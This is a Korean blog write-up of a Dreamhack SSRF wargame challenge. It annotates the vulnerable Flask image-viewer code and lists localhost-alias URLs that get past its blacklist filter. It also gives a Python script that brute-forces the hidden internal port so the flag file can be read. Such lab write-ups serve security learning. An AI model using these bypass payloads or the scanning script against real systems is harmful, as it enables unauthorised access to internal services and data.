'll Hacker
Dreamhack wargame : web-ssrf write up 본문
Contents
728x90
실습을 통해 익히기
https://dreamhack.io/wargame/challenges/75/
url 입력창에 나와있는 경로대로 버튼 클릭했더니 위와 같이 나옴
1) 코드 분석
/img_viewer
@app.route("/img_viewer", methods=["GET", "POST"])
# Flask 애플리케이션에서 /img_viwer 경로로 들어오는 GET 및 POST 요청을 처리하는 라우트를 정의
def img_viewer(): # /img_viwer 경로에 대한 함수 정의
if request.method == "GET":
#요청이 GET 메서드인 경우에 해당하는 조건문
return render_template("img_viewer.html")
# GET요청일 때, "img_viwer.html" 템플릿을 렌더링하여 클라이언트에 반환
elif request.method == "POST":
# 요청이 POST 메서드인 경우에 해당하는 조건문
url = request.form.get("url", "")
# POST 요청으로 전송된 데이터에서 "url"파라미터 값을 가져오고, 만약 해당 파라미터가 없으면 빈 문자열로 설정.
urlp = urlparse(url) # 가져온 URL을 파싱하여 각 구성요소를 추출
if url[0] == "/": # URL이 슬래시로 시작하는 경우 로컬 서버주소를 추가하여 완전한 URL로 만듦
url = "http://localhost:8000" + url
elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
# URL이 로컬 호스트인 경우를 확인하는 조건문
data = open("error.png", "rb").read() # "error.png" 파일을 바이너리 모드로 열어서 내용을 읽어옴
img = base64.b64encode(data).decode("utf8") # 읽어온 이미지 데이터를 Base64로 인코딩하고 UTF-8로 디코딩하여 문자열 형태로 저장
return render_template("img_viewer.html", img=img) # 로컬 호스트인 경우 또는 예외가 발생한 경우, 오류 이미지를 보여주기 위해 img_viewer.html 템플릿을 렌더링하고 Base64로 인코딩한 이미지 데이터를 전달함.
try:
data = requests.get(url, timeout=3).content # 주어진 URL에서 이미지 데이터를 가져옴. 요청은 3초동안 타임아웃이 설정되어 있음.
img = base64.b64encode(data).decode("utf8") # 성공적으로 이미지를 가져온 경우, 이미지 데이터를 Base64로 인코딩하고 UTF-8로 디코딩하여 문자열 형태로 저장.
except:
data = open("error.png", "rb").read() # 예외가 발생하면 다시 "error.png"파일을 읽어와서 데이터를 가져옴
img = base64.b64encode(data).decode("utf8") # 예외가 발생한 경우에도 오류 이미지를 보여주기 위해 이미지 데이터를 Base64로 인코딩하고 UTF-8로 디코딩하여 문자열 형태로 저장
return render_template("img_viewer.html", img=img)# 최종적으로 렌더링된 이미지 데이터를 img_viewer.html 템플릿을 사용하여 클라이언트에 반환.
▶️ GET : img_viwer.html을 렌더링
▶️ POST : 이용자가 입력한 url에 HTTP 요청을 보내고, 응답을 img_viewer.html의 인자로 하여 렌더링
기능 : run_local_server
파이썬의 기본 모듈인 http를 이용하여 127.0.0.1의 임의 포트에 HTTP 서버를 실행
http.server.HTTPServer의 두번째 인자로 http.server.SimpleHttpRequestHandler를 전달하면,
현재 디렉터리를 기준으로 URL이 가리키는 리소스를 반환하는 웹서버 생성.
호스트가 127.0.0.1이므로 외부에서 이 서버에 직접 접근하는 것은 불가
local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
(local_host, local_port), http.server.SimpleHTTPRequestHandler # 리소스를 반환하는 웹 서버
)
def run_local_server():
local_server.serve_forever()
threading._start_new_thread(run_local_server, ()) # 다른 쓰레드로 `local_server`를 실행합니다.
2) 취약점 분석
img_viewer에서 서버 주소에 "127.0.0.1","loaclhost"이 포함된 URL로의 접근을 막음. -> SSRF 공격가능
💡URL 필터링
- URL에 포함된 문자열을 검사하여 부적절한 URL로의 접근을 막는 보호 기법
- 블랙리스트 필터링
- URL에 포함되면 안되는 문자열로 블랙리스트로 만들기 -> 이용자의 접근을 제어
- 블랙리스트에 "http://dreamhack.id"가 있다면 이 주소가 포함된 모든 URL로의 접근 차단
- 화이트리스트 필터링
- 접근을 허용할 URL로 화이트리스트로 만들기
- 이용자가 화이트리스트 외의 URL에 접근하려하면 차단
3) 익스플로잇 (공격)
3-1) URL 필터링 우회
- 127.0.0.1과 매핑된 도메인 이름 사용
- 127.0.0.1의 alias 이용
- localhost의 alias 이용
- URL에서 호스트와 스키마는 대소문자를 구분 x
http://vcap.me:8000/
http://0x7f.0x00.0x00.0x01:8000/
http://0x7f000001:8000/
http://2130706433:8000/
http://Localhost:8000/
http://127.0.0.255:8000/
- Proof-of-Concept
- 로컬 호스트의 8000번 포트에는 문제 서버가 실행되고 있는데 위 URL을 image viewer에 입력하면 문제 인덱스 페이지를 인코딩한 이미지가 반환됨. 따라서 위 URL은 로컬 호스트를 가리키면서 필터링 우회가능한 URL.
3-2) 포트 찾기
- 랜덤한 포트 찾기
- 내부 HTTP 서버는 포트 번호가 1500이상 1800이하인 임의 포트에서 실행되고 있음
- 위 URL을 활용하여 파이썬 스크립트를 작성하면, 무차별 대입 공격으로 포트를 찾을 수 있음
#!/usr/bin/python3
import requests
import sys
from tqdm import tqdm
# `src` value of "NOT FOUND X"
NOTFOUND_IMG = "iVBORw0KG"
def send_img(img_url):
global chall_url
data = {
"url": img_url,
}
response = requests.post(chall_url, data=data)
return response.text
def find_port():
for port in tqdm(range(1500, 1801)):
img_url = f"http://Localhost:{port}"
if NOTFOUND_IMG not in send_img(img_url):
print(f"Internal port number is: {port}")
break
return port
if __name__ == "__main__":
chall_port = int(sys.argv[1])
chall_url = f"http://host1.dreamhack.games:{chall_port}/img_viewer"
internal_port = find_port()
실행결과⏬
$ python ex.py 13778
56%|███████████████████████████████████████████████████▍ | 170/301 [01:22<00:57, 2.27it/s]
Internal port number is: 1670
플래그는 /app/flag.txt에 있다고 했으므로
현재 서버는 /app에 위치하고 있으므로
/flag.txt를 읽으면 플래그를 획득할 수 있음
실제로 포트찾기 해봄
일단 tqdm 모듈이 없어서 설치
랜덤으로 포트는 1553이 나왔다.
실행시켜주면
깨져있는것을 확인할 수 있고 개발자도구 열어서 img 파일을 보면 base64 인코딩된 문자열이 있음
728x90
'Hacking > WebHacking' 카테고리의 다른 글
XSS Filtering Bypass - 1 정리 (0) | 2024.02.07 |
---|---|
XSS(Cross-Site-Scripting) 정리 (0) | 2024.02.06 |
Server-side Request Forgery(SSRF) 정리 (1) | 2024.02.06 |
Dreamhack wargame : image-storage write up (0) | 2024.02.06 |
Command Injection 정리 (0) | 2024.02.01 |